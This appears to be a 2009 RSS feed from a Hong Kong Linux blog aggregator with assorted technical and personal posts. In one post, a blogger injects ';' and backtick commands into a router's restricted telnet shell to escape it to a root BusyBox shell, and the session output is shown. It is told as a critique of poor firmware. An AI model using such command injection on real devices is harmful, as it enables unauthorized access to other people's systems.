	<content:encoded>FROM: &lt;a href=&quot;http://thpinfo.com/2008/02/maemo-icon-sizes.html&quot;&gt;http://thpinfo.com/2008/02/maemo-icon-sizes.html&lt;/a&gt;&lt;p&gt;I had a hard time finding out which icon sizes one has to provide and&lt;br /&gt;where to install them for Maemo applications (I'm currently developing&lt;br /&gt;for OS2008 &amp;quot;chinook&amp;quot;, might be different for other releases). Here is&lt;br /&gt;what I found out by looking at the contents of other GUI packages:&lt;p&gt;26x26 icon goes to /usr/share/icons/26x26/hildon/appname.png&lt;br /&gt;40x40 icon goes to /usr/share/icons/40x40/hilson/appname.png&lt;br /&gt;64x64 icon goes to /usr/share/icons/scalable/hildon/appname.png&lt;p&gt;The 64x64 icon will be used in the menu, so be sure to make it really&lt;br /&gt;64x64, otherwise the icon will look out of place in the menu. Also, be&lt;br /&gt;sure to create an executable &amp;quot;postinst&amp;quot; file in the &amp;quot;debian/&amp;quot;&lt;br /&gt;subdirectory of your package source that has at least the following&lt;br /&gt;two commands:&lt;p&gt;gtk-update-icon-cache -f /usr/share/icons/hicolor&lt;br /&gt;maemo-select-menu-location appname.desktop&lt;p&gt;Where of course &amp;quot;appname&amp;quot; is the name of your application and how you&lt;br /&gt;named your icon and .desktop file.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-7951992894896555886?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-10-13T13:52:40+00:00</dc:date>
</item>
<item rdf:about="http://www.debian.org.hk/18869 at http://www.debian.org.hk">
	<title>wanleung: How NOT to write software</title>
	<link>http://www.debian.org.hk/blog/how-not-write-software</link>
	<content:encoded>&lt;p&gt;The embedded routers available on the market these days are truly wonderful things.  You buy one, it just works, you leave it there until there is a compelling reason to get a new one.  Everybody is happy.&lt;/p&gt;
&lt;p&gt;Oops!  Just kidding!  That's the way things ought to work, but it never days.  Getting a router that works these days (perhaps with the exception of an Apple router, I guess) is largely a game of chance.  Even doing due diligence by reading online reviews will not save you.&lt;/p&gt;
&lt;p&gt;The particular one I have, a Dynalink RTA1046VW, which appears to be a rebadged Netcomm, does wireless and VOIP along with the usual Ethernet connection.  The wireless would, however, fail every couple of days.  It would just drop stone cold, and I'd have to reset it, but when I do the VOIP line would drop dead.  This, gentle reader, in case you have not realized now, is very annoying.  I thought the point of the wireless being there was so that you can use it?&lt;/p&gt;
&lt;p&gt;Must be tough, writing router firmware, though I offer an alternative explanation.  Maybe the hardware manufacturers of these routers simply do not give a damn about the quality of the software they stick inside these routers.  A scary thought, millions of these devices powering the Intarwebs of the average Joe.  Most of the time the poor quality manifests itself in things that won't work, like my wireless module.  Sometimes they are a bit more egregious.&lt;/p&gt;
&lt;p&gt;The particular router I have happens to run Linux.  You don't find any mention of this or the fact that it uses GPL software, because it is not advertised as such.  I am not a lawyer and do not know if  you're required to acknowledge the fact that there's GPL software on the router, but for 10 bucks they do offer to send you a CD with source code on it.&lt;/p&gt;
&lt;p&gt;I found it it ran Linux when I started poking around with the router when I wanted to find out whether there was some misconfiguration that caused the wireless to drop out every couple of days.  They have the usual web interface but when I experimented with it, turns out they have a telnet interface.  It drops you into a custom command prompt with a set of built-in commands.  That's not unusual in itself, but the output was.&lt;/p&gt;
&lt;p&gt;&amp;gt; ps&lt;br /&gt;
  PID  Uid     VmSize Stat Command&lt;br /&gt;
    1 admin       316 S   init&lt;br /&gt;
    2 admin           SW&amp;lt; [ksoftirqd/0]&lt;br /&gt;
    3 admin           SW&amp;lt; [events/0]&lt;br /&gt;
    4 admin           SW&amp;lt; [khelper]&lt;br /&gt;
    5 admin           SW&amp;lt; [kblockd/0]&lt;br /&gt;
   17 admin           SW  [pdflush]&lt;br /&gt;
   18 admin           SW  [pdflush]&lt;br /&gt;
   19 admin           SW  [kswapd0]&lt;br /&gt;
   20 admin           SW&amp;lt; [aio/0]&lt;br /&gt;
[etc]&lt;br /&gt;
&amp;gt;&lt;/p&gt;
&lt;p&gt;Say, what?  Busybox, is that you? Anyway, more on the ps output later.  There's a surprising whole load of things that you can do even when you are in the crappy customized shell.  For example, you can find out what kernel version it is running.&lt;/p&gt;
&lt;p&gt;&amp;gt; cat /proc/version&lt;br /&gt;
Linux version 2.6.8.1 ( Compiled by michaelc) (gcc version 3.4.2) #1 Tue Apr 14 15:25:39 CST 2009&lt;br /&gt;
&amp;gt; &lt;/p&gt;
&lt;p&gt;Linux 2.6.8.1 was released in 2004.  I got this router in 2009.  Dear firmware developer, what have you been doing for the last couple of years?&lt;/p&gt;
&lt;p&gt;Back to the ps output.  What makes the ps output particular interesting is not the output format per se but what it shows:&lt;/p&gt;
&lt;p&gt; 1126 admin      2404 S   rvsip&lt;br /&gt;
 1127 admin      2404 S   rvsip&lt;br /&gt;
 1128 admin      2404 S   rvsip&lt;br /&gt;
 1216 admin       988 S   telnetd&lt;br /&gt;
 1227 admin       312 S   sh -c ps&lt;br /&gt;
 1228 admin       332 R   ps &lt;/p&gt;
&lt;p&gt;It looks like they are using system(), which invokes sh -c, to call the ps command.  With that in mind, I can do this:&lt;/p&gt;
&lt;p&gt; 1128 admin      2404 S   rvsip&lt;br /&gt;
 1216 admin       988 S   telnetd&lt;br /&gt;
 1229 admin       324 S   sh -c ps `cat /proc/version`&lt;br /&gt;
 1232 admin       332 R   ps Linux version 2.6.8.1 ( Compiled by michaelc) (gcc&lt;/p&gt;
&lt;p&gt;See?  I just got the shell to run another command for me outside of the customized shell.  That's not so interesting, but you can do useful things based on this.  For example, the customized shell does not come with a ls command, but it does come with an echo command.  So I can do this:&lt;/p&gt;
&lt;p&gt;&amp;gt; echo /bin/*&lt;br /&gt;
/bin/adsl /bin/adslctl /bin/atm /bin/atmctl /bin/autoprovisionlan /bin/brctl /bin/busybox /bin/cat /bin/cfesetup /bin/cfm /bin/chmod /bin/date /bin/ddnsd /bin/df /bin/dhcpc /bin/dhcpd /bin/dhcpr /bin/dmesg /bin/dproxy /bin/dumpmem /bin/ebtables /bin/echo /bin/epi_ttcp /bin/ethctl /bin/false /bin/hotplug /bin/ifstat /bin/igmp /bin/ip /bin/iptables /bin/kill /bin/ln /bin/mkdir /bin/mount /bin/mpd /bin/msh /bin/nas /bin/nas4not /bin/netctl /bin/nstat /bin/ping /bin/pppd /bin/ps /bin/pvc2684ctl /bin/pvc2684d /bin/pwd /bin/rm /bin/rtacct /bin/rtstat /bin/rvsip /bin/sendarp /bin/setmem /bin/sh /bin/sntp /bin/ss /bin/sysinfo /bin/tc /bin/tftpd /bin/true /bin/udhcpd /bin/upnp /bin/voicectl /bin/wl /bin/wlctl&lt;br /&gt;
&amp;gt; &lt;/p&gt;
&lt;p&gt;OK, this is really annoying.  I want a shell.&lt;/p&gt;
&lt;p&gt;&amp;gt; echo `/bin/sh`&lt;br /&gt;
(no output)&lt;/p&gt;
&lt;p&gt;That was disappointing.  However, from the output listed earlier we know sh -c is used to invoke busybox commands from the custom shell.  The -c argument takes a line of arbitary shell commands, all you have to do is separate it with a semicolon!  So, in theory, I should be able to run the /bin/sh command (or any arbitrary command) if I tacked on the command I wanted to run at the end.&lt;/p&gt;
&lt;p&gt;&amp;gt; echo; exec /bin/sh&lt;br /&gt;
echo; exec /bin/sh: not found&lt;br /&gt;
&amp;gt;&lt;/p&gt;
&lt;p&gt;OK, that didn't work.  But what if I separated the echo command and the semi-colon with a space?&lt;/p&gt;
&lt;p&gt;&amp;gt; echo ; exec /bin/sh&lt;/p&gt;
&lt;p&gt;BusyBox v1.00 (2009.04.14-07:30+0000) Built-in shell (msh)&lt;br /&gt;
Enter 'help' for a list of built-in commands.&lt;/p&gt;
&lt;p&gt;# &lt;/p&gt;
&lt;p&gt;Aha!  Success!&lt;/p&gt;
&lt;p&gt;# help&lt;/p&gt;
&lt;p&gt;Built-in commands:&lt;br /&gt;
-------------------&lt;br /&gt;
        . : break cd continue eval exec exit export help login newgrp&lt;br /&gt;
        read readonly set shift times trap umask wait [ busybox cat chmod&lt;br /&gt;
        date df dmesg echo expr false ifconfig init insmod kill klogd&lt;br /&gt;
        linuxrc ln logger logread mkdir mount msh ping ps pwd reboot&lt;br /&gt;
        rm rmmod route sendarp sh sysinfo syslogd test tftp tftpd top&lt;br /&gt;
        true tty vconfig&lt;/p&gt;
&lt;p&gt;# &lt;/p&gt;
&lt;p&gt;Next time, do yourself a favor and get a piece of hardware on which you can install custom software, it may require a bit more initial setup but is more likely to work and will almost not be shoddily cobbled together like mine.&lt;/p&gt;</content:encoded>
	<dc:date>2009-10-03T13:46:51+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/181/PEAR_state_of_play_why_move_to_PEAR2.html">
	<title>Alan Knowles: PEAR state of play, why move to PEAR2</title>
	<link>http://www.akbkhome.com/blog.php/View/181/PEAR_state_of_play_why_move_to_PEAR2.html</link>
	<content:encoded>Just before I saw Brendan's post about&lt;a href=&quot;http://www.brandonsavage.net/the-slow-death-of-php-4/&quot;&gt; PHP4 compatibility in PEAR&lt;/a&gt;, I had been getting a few queries about making a couple of my PEAR packages more 'PHP5' compatible or PEAR2 ready.&lt;br /&gt;&lt;br /&gt;From
my perspective, pretty much all of the packages I maintain (As far as I
know) are PHP5 'compatible'. however they may emit E_STRICT errors.&lt;br /&gt;&lt;br /&gt;This
brings up the interesting question, which I guess all the current
maintainers, users and contributors have come across, how much value is
added to the existing packages by adding that level of support.&lt;br /&gt;&lt;br /&gt;From
an 'ideal world' / 'perfect coding' perspective, they would benefit
from this changes. but as somebody who earns an income by delivering
projects as quickly and efficiently as possible, the return on
investment for making those changes is very tiny, if not negative.&lt;br /&gt;&lt;br /&gt;Since
the packages generally just work, making the changes required, would
not really change that 'just work' situation, and as  &lt;a href=&quot;http://www.jwz.org/&quot;&gt;Jamie Zawinski&lt;/a&gt;
 famously said &lt;a href=&quot;http://www.jwz.org/doc/groupware.html&quot;&gt;&amp;quot;How will this
  software get him laid?&amp;quot;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Two
of the biggest changes I'm aware of for this 'PHP5 compatibility' issue
are the 'static' method prefix and getting rid of 'var' which
completely break PHP4 compatibility (and yes we still maintain PHP4
applications, and clients rarely have budget to make changes like
this). Doing these changes would mean that I would have to either
freeze or depreciate PHP4 support, or start maintaining dual versions.
(Personally I would prefer a hook in the package builder that would do
the replacement for me, so I could upload 2 package on each release).&lt;br /&gt;&lt;br /&gt;Going
forward, PEAR2 is still in a gestation period, (as PHP5.3 and
namespaces support has just come out.) Resulting in any code that had 
targeted PHP5.3/PEAR2 aging very quickly (eg. requiring changes to
handle the final changes to the namespace syntax.). This may start
changing soon, however I suspect it would really take some significant
effort in time to start creating PEAR2 packages for existing code
(which has a rather poor return on investment) . And without a
reasonable base number of packages, the attraction of submitting code
to PEAR2 is lessened. A classic chicken and egg situation. &lt;br /&gt;&lt;br /&gt;At
the same time, there is no real alternative to PEAR2, pretty much all
other 'framework' solutions have been built around the assumption that
you have to accept a majority of the 'framework' to utilize the single
packages. Which is even worse that the pains that PEAR(1) imposes on
you.&lt;br /&gt;&lt;br /&gt;All that said, if you want to send me patches to fix any
big PHP5 issues in my packages please don't hesitate, I will try and
make the changes.&lt;br /&gt;&lt;br /&gt;</content:encoded>
	<dc:date>2009-09-21T06:16:30+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/135 at http://www.punknix.com">
	<title>Punky Tse: Slides for Open Source Developer talk at SFD</title>
	<link>http://www.punknix.com/slides-for-open-source-developer-talk-at-sfd</link>
	<content:encoded>&lt;p&gt;
Although my session in &lt;a href=&quot;http://wiki.opensource.hk/index.php/Software_Freedom_Day_2009%2C_Hong_Kong#Sessions&quot;&gt;SFD&lt;/a&gt; is a little bit rush, I got a good feeling that my presentation on Voyage Linux project is a successful one.  Here is the slides of my session:
&lt;ul&gt;
&lt;a href=&quot;http://www.punknix.com/files/Voyage Linux Introduction 2009.pdf&quot;&gt;Voyage Linux Introduction 2009&lt;/a&gt;
&lt;/ul&gt;
At last, I would like to thank the organizer and Ben Lau for arranging SFD event and a session for introducing Open Source Developer in HK.
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-21T05:50:15+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/my-life/554">
	<title>Sam Tang: 轉用 HTC Magic</title>
	<link>http://www.hkcode.com/my-life/554</link>
	<content:encoded>&lt;p&gt;使用 Nokia 手機已經有幾年的時間，而且可能是因為自己一直使用舊款的 PDA 得出的錯覺，所以對於輕觸式手機一直也有保留，可能怕自己用不慣。但始終都想試試基於 Linux kernel 的 Android 系統，上星期便買了 HTC Magic，不買最新款 Hero 是因為較喜歡 Magic 的外觀。&lt;/p&gt;
&lt;p&gt;用上手的感覺是輕觸式操作沒有想像中困難，只是操作上的概念與以往所使用的手機有得大的分別。以前所用的是一部手機，而 HTC Magic 更像一部 PDA，或者算是流動的電腦。對我最重要的功能是上網瀏覽及電郵，以上兩樣的表現十分滿意，尤其是上網瀏覽的拉近及拉遠功能十分方便。
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-17T13:46:41+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/129 at http://www.punknix.com">
	<title>Punky Tse: DIY Open Source Project (Part 1)</title>
	<link>http://www.punknix.com/diy-open-source-project-part-1</link>
	<content:encoded>&lt;p&gt;
Nowadays, the easiest way to setup an open source project is hosting via sourceforge.net.  But did you ever think about hosting a project by yourself so that you will have complete control of the project and not dependent by others?  My project, &lt;a href=&quot;http://www.punknix.com/linux.voyage.hk&quot;&gt;Voyage Linux&lt;/a&gt;, is built by me little-by-little, bit-by-bit over 4-year time span.  At the time of writing (Sep 2009), the project homepage has over 10,000 pageviews per month, the community mailing list has 430 subscribes, and 13 country mirror sites from sponsors.
&lt;/p&gt;
&lt;p&gt;
This series of articles documents my experiences on setting up open source project totally by yourself.  Part 1 of this series covers the preparation before setting up open source project that includes the following topics:
&lt;ul&gt;
&lt;li&gt;Setting up dedicate Linux Server&lt;/li&gt;
&lt;li&gt;Selecting ISP&lt;/li&gt;
&lt;li&gt;Domain name registration&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.punknix.com/diy-open-source-project-part-1&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-15T07:51:40+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/180/Barcamp_Hong_Kong_2009.html">
	<title>Alan Knowles: Barcamp Hong Kong 2009</title>
	<link>http://www.akbkhome.com/blog.php/View/180/Barcamp_Hong_Kong_2009.html</link>
	<content:encoded>Went along to &lt;a href=&quot;http://www.barcamp.hk/&quot;&gt;Barcamp in Hong Kong&lt;/a&gt; this weekend, Have to thank all the guys &amp;amp; girls involved in organizing it. As it was a chance to meet some interesting people, who I did not realize where even in Hong Kong.&lt;br /&gt;&lt;br /&gt;Barcamp Hong Kong, is perhaps a little different from what you might get elsewhere. First off it's not so much a techy thing. (Evidenced by the sight of 1 Linux desktop = mine...) I gave one talk on 'D', and went to a couple of others with lesser technical emphasis - drupal / OO JS etc. but the majority of talks where either business development style (raising funds, startups). or iPhone related (with out the coding stuff). &lt;br /&gt;&lt;br /&gt;I guess this comes from the general attitude here that most programmers tend to regard it as a stepping stone to management or something, and have very little passion about the whole industry.. (as someone described it to me).&lt;br /&gt;&lt;br /&gt;The technical talks gathered at most 20 people (out of I guess 200-300 people at the camp). And unfortunately, my talk/chat/discussion got rather hijacked by someone who wandered in, was completely non-technical, and started asking irrelivant questions. (self reminder, politely say, this is for programmers only next time)&lt;br /&gt;&lt;br /&gt;Overall it was not much of a learning experience, rather the chance to actually meet developers with similar interests, (and see that they actually exist) - Shame I had to leave early for family stuff, as the drinks would have been good...&lt;br /&gt;</content:encoded>
	<dc:date>2009-09-13T22:39:12+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/553">
	<title>Sam Tang: PHP 的日期計算</title>
	<link>http://www.hkcode.com/programming/553</link>
	<content:encoded>&lt;p&gt;在 PHP 內計算兩個日期之間的差距的話，可以先將日期轉成 Unix timestamp 的數值然後再作計算。例如要計算兩個日期 01/01/2009 及今天的日期差距，可以這樣做：&lt;/p&gt;
&lt;div class=&quot;igBar&quot;&gt;&lt;span id=&quot;lphp-4&quot;&gt;&lt;a href=&quot;http://www.hkcode.com/programming/553&quot;&gt;PLAIN TEXT&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;syntax_hilite&quot;&gt;&lt;span class=&quot;langName&quot;&gt;PHP:&lt;/span&gt;
&lt;div id=&quot;php-4&quot;&gt;
&lt;div class=&quot;php&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;// 將日期以 &amp;quot;/&amp;quot; 附號分隔, 得出 日, 月, 年&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;$time&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/explode&quot;&gt;&lt;span&gt;explode&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&quot;/&quot;&lt;/span&gt;, &lt;span&gt;&quot;01/01/2009&quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;// 將 01/01/2009 轉換成 Unix timestamp&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;$unix_time&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/mktime&quot;&gt;&lt;span&gt;mktime&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;$time&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, &lt;span&gt;$time&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, &lt;span&gt;$time&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;// 計算 $unix_time 和現在的差距, 並除 86400 (一天有 86400 秒)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;$time_diff&lt;/span&gt; = &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/time&quot;&gt;&lt;span&gt;time&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; - &lt;span&gt;$unix_time&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; / &lt;span&gt;86400&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;// 只擷取整數部份&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;$time_diff&lt;/span&gt; = &lt;span&gt;&amp;#40;&lt;/span&gt;int&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;$time_diff&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;a href=&quot;http://www.php.net/echo&quot;&gt;&lt;span&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span&gt;&quot;01/01/2009 距離現在 &quot;&lt;/span&gt; .&amp;nbsp; &lt;span&gt;$time_diff&lt;/span&gt; . &lt;span&gt;&quot; 天.&quot;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt; &lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-12T01:49:11+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/552">
	<title>Sam Tang: 修改 MySQL 唯讀參數</title>
	<link>http://www.hkcode.com/programming/552</link>
	<content:encoded>&lt;p&gt;要修改 MySQL 唯讀參數，一般上也會修改 my.cnf 的內容，然後重新啟動 MySQL。但如果有一特殊需要也能重新啟動 MySQL 的話，可以用 &lt;a href=&quot;http://mituzas.lt/&quot; title=&quot;Domas Mituzas&quot; target=&quot;_blank&quot;&gt;Domas Mituzas Blog&lt;/a&gt; 上面的方法：&lt;a href=&quot;http://mituzas.lt/2009/07/30/evil-replication-management/&quot; title=&quot;Evil replication management&quot; target=&quot;_blank&quot;&gt;「Evil replication management」&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;例如在正常的情況下修改 log_slave_updates 參數，會出現這個 error：&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;mysql&amp;gt; set global log_slave_updates=1;&lt;br /&gt;
ERROR 1238 (HY000): Variable 'log_slave_updates' is a read only variable
&lt;/div&gt;
&lt;p&gt;而文章內所提供的是非正規方法，所以閣下使用時要自行承擔風險，方法如下：&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;mysql&amp;gt; system gdb -p $(pidof mysqld) -ex &amp;quot;set opt_log_slave_updates=1&amp;quot; -batch&lt;/div&gt;</content:encoded>
	<dc:date>2009-09-11T01:22:30+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/134 at http://www.punknix.com">
	<title>Punky Tse: Open Source Developer talk at Software Freedom Day 2009 HK</title>
	<link>http://www.punknix.com/open-source-developer-talk-at-software-freedom-day-2009-hk</link>
	<content:encoded>&lt;p&gt;
Invited by &lt;a href=&quot;http://benlaux.blogspot.com/&quot;&gt;Ben Lau&lt;/a&gt;, I will present &lt;a href=&quot;http://linux.voyage.hk&quot;&gt;Voyage Linux&lt;/a&gt; project at &lt;a href=&quot;http://wiki.opensource.hk/index.php/Software_Freedom_Day_2009%2C_Hong_Kong#Sessions&quot;&gt;Software Freedom Day 2009 HK&lt;/a&gt; on 19 Sept 2009 to share my experiences as an open source developer in Hong Kong.
&lt;/p&gt;
&lt;p&gt;
I have conducted similar talk back in 2007 at Linux the Gathering #3.  I am looking forward to meeting up with other open source hackers in Hong Kong, and I am particularly interested in the project related to Linux DMB-T driver.
&lt;/p&gt;
&lt;p&gt;
I am now preparing the slides for the talk, and will probably publish it on punknix.com after the talk.  These weeks, I am preparing a series of articles about DIY setting up OSS project. Hopefully, I am able to publish the first article before the talk.
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-10T04:34:02+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/551">
	<title>Sam Tang: 用 mysqldump 擷取部份樣本資料</title>
	<link>http://www.hkcode.com/programming/551</link>
	<content:encoded>&lt;p&gt;如果需要將 mysql server 的小部份資料匯入到測試主機上測試，可以配合 mysqldmp 的 -where=&amp;quot;true LIMIT X&amp;quot; 選項，上的的 X 是想擷取的資料數量，例如：&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
# mysqldump --opt --where=&amp;quot;true LIMIT 10000&amp;quot; mydb &gt; mydb.sql
&lt;/div&gt;
&lt;p&gt;以上的指令會將 mydb 內所有資料表各自匯出 10000 筆資料&lt;/p&gt;
&lt;p&gt;這個方法可以很容易匯出較小的資料樣本件測試用途。
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-09T15:19:58+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/driving/550">
	<title>Sam Tang: 喜出望外的 Moty&#8217;s 機油</title>
	<link>http://www.hkcode.com/driving/550</link>
	<content:encoded>&lt;p&gt;車子又行了 5000 公里，上星期試用 Moty's 機油，型號為 M111 5W40，這款機油十分貴，4L 裝要七百幾，但效果是相當不錯的。相比起 Liqui Moly 及 Honda 原廠機油，Moty's 在起步的反應更明顯，而且覺得有更大的扭力。但因為沒有安裝油壓及油溫錶，所以以上只是個人感覺，並沒有具體數據。&lt;/p&gt;
&lt;p&gt;油耗方面還有待觀察，至於耐用性我想應該不差，聽朋友及在網路上的評論也說它很耐用的。
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-09T15:01:04+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/549">
	<title>Sam Tang: Linux/FreeBSD 不能辨認新安裝程式</title>
	<link>http://www.hkcode.com/linux-bsd-notes/549</link>
	<content:encoded>&lt;p&gt;如果在 Linux 或 FreeBSD 透過自行編譯安裝程式，系統不會立即辨認到新的程式，即是不可以只輸入程式的檔案名稱，要鍵入程式的絕對路徑才可以執行。&lt;/p&gt;
&lt;p&gt;這個問題是因為系統為了改善效能，會將存放程式的目錄加入快取。如果想更新快取，可以執行以下指令：&lt;/p&gt;
&lt;p&gt;# hash -r&lt;/p&gt;
&lt;p&gt;如果是 CSH 的話，便要輸入：&lt;br /&gt;
# rehash
&lt;/p&gt;</content:encoded>
	<dc:date>2009-09-07T09:24:39+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=725">
	<title>狗爺語錄: Crappy GNOME trash</title>
	<link>http://me.abelcheung.org/2009/08/31/crappy-gnome-trash/</link>
	<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Even if a file with the same name and location gets trashed many times, each subsequent trashing must not overwrite a previous copy.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;S&lt;/span&gt;o what is this holy shit called GNOME doing? Originally, I expected those FreeDesktop people still don&amp;#8217;t get it after &lt;em&gt;the&lt;/em&gt; other most widely used OS have done that 12 years ago (maybe even longer), but it looks like the wrong people have been blamed all along. So lucky it&amp;#8217;s not written down till now.&lt;/p&gt;
&lt;p&gt;Even &lt;a href=&quot;http://www.ramendik.ru/docs/trashspec.html&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;FreeDesktop Trash specification&lt;/a&gt; has the statement stressed in italic letters, yet GNOME freetards in their infinite wisdom are not follow it! &lt;em&gt;Good job!&lt;/em&gt; Looking at how GNOME had implemented previous trash can (which was just yet another directory &amp;mdash; an excellent topic for jokes), I didn&amp;#8217;t expect much would be done in foreseeable future though.&lt;/p&gt;</content:encoded>
	<dc:date>2009-08-30T20:22:57+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=724">
	<title>狗爺語錄: 被搭訕</title>
	<link>http://me.abelcheung.org/2009/08/29/%e8%a2%ab%e6%90%ad%e8%a8%95/</link>
	<content:encoded>&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;昨&lt;/span&gt;天食早餐時，很罕有地，坐在對面位的師奶忽然攀談起來。也許是遇到這種事情的可能性太低，開始時還以為對方在自言自語，過一會才意會到是對我講說話。存在感較薄弱的我，有陌生人閒談家常的機會率平常是接近零的。對方年紀和我大概不相上下，很明顯地已有約六七個月身孕，BB 快要出世那種。一開始就是說大家樂的快餐不如某街市的食肆便宜，之後這樣那樣的，言談之間，談及自己在數年前來香港。但廣東話絕對是道地的，聽不出半點口音，除了是本來就住在廣東，或者是語言天才外，想不出有多少可能性。&lt;/p&gt;
&lt;p&gt;其餘的時間，都接近是這位師奶的 solo performance：親戚的仔女如何被父母縱壞，菲傭好還是印傭好，諸如此類，都是生活上的鎖碎事。由於沒甚麼經驗，插不上嘴，唯有仔細聆聽。但本來日日如是、平凡悶蛋的早餐，變得有趣味多了。&lt;/p&gt;
&lt;p&gt;香港人也許就是缺乏這種親和力。&lt;/p&gt;</content:encoded>
	<dc:date>2009-08-29T07:17:59+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-7407352735508376287">
	<title>Vern: 结构数组的初始化方法</title>
	<link>http://s5unty.blogspot.com/2009/08/blog-post_19.html</link>
